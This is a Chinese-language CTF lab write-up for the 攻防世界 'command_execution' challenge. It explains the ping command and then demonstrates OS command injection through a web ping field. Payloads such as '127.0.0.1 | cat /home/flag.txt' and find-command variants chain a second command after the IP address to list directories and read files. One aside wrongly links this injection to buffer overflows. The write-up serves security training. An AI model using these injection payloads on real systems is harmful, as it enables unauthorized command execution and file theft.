【CTF | 网络安全】攻防世界 command_execution 解题详析

ping命令

ping 命令是一个常用的网络命令，用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包，并等待目标计算机返回响应数据包来测试网络的可达性，同时也可以测试网络的延迟和丢包率等信息。

在终端中使用 ping 命令的基本语法为：

ping <IP地址或主机名>

例如，要测试目标计算机的 IP 地址为 192.168.1.1 的网络连通性，可以运行以下命令：

ping 192.168.1.1

ping 命令将会输出一些关于网络连接的信息，包括每个数据包的传输时间、接收时间和延迟时间等。

ping命令的应用格式

1.ping+IP地址或主机域名
2.ping+IP地址或主机域名+命令参数
3.ping+命令参数+IP地址或主机域名
注意，+要换成空格

ping命令执行漏洞

如果 ping 命令不正确地处理其输入参数，就可能存在被攻击者利用来运行危险的命令的风险。
例如，如果在 ping 命令中使用了一个长度超过其预期的输入参数，则可能会导致该命令出现缓冲区溢出漏洞。

该题可将输入参数截断从而让其运行危险的参数，常见的连接符有：

例如，ping127.0.0.1| ls /时，将显示ls /的执行结果，即列出目录

---

正文

题目描述：小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。

ping本地回环地址

Payload：127.0.0.1

本地回环地址是网络通信中的特殊地址，指向本机的网络接口，因此通过发送 icmp 数据包到该地址来测试网络连通性和延迟。

结果说明本机的网络回环接口工作正常。

需要注意的是，这个测试结果并不能完全代表主机与其他计算机之间的网络连接状态，因为本地回环地址并不经过网络硬件设备，因此不会受到网络拥塞和其他网络故障的影响。

---

ping目录

Payload127.0.0.1| ls /
或127.0.0.1 && ls /

ping文件夹

Payload127.0.0.1 |ls /目录名

在home目录下找到flag文件：

ping文件

Payload127.0.0.1 | cat /home/flag.txt

Tips

在已知某文件名的基础上，可使用find命令：127.0.0.1 | find / -name "文件名"
如图：

在已知部分某文件名的基础上 ，可使用find命令：127.0.0.1 && find / -name "已知文件名的部分*"
如图：